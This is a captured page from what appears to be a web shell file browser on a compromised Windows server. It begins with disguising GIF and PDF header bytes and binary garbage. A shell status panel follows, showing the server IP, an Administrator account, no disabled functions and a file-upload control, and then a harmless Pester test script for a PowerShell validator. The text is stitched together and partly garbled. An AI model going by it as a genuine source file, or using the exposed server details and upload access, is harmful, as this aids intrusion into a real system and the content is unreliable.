GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/Program Files/WindowsPowerShell/Modules/Pester/3.4.0/Examples/Validator/ |
Upload File : |
function MyValidator($thing_to_validate) { return $thing_to_validate.StartsWith("s") } function Invoke-SomethingThatUsesMyValidator { param( [ValidateScript({MyValidator $_})] $some_param ) } Describe "Testing a validator" { It "calls MyValidator" { Mock MyValidator -MockWith { return $true } Invoke-SomethingThatUsesMyValidator "test" $was_called_once = 1 Assert-MockCalled MyValidator $was_called_once } } Describe "MyValidator" { It "passes things that start with the letter S" { $result = MyValidator "summer" $result | Should Be $true } It "does not pass a param that does not start with S" { $result = MyValidator "bummer" $result | Should Be $false } }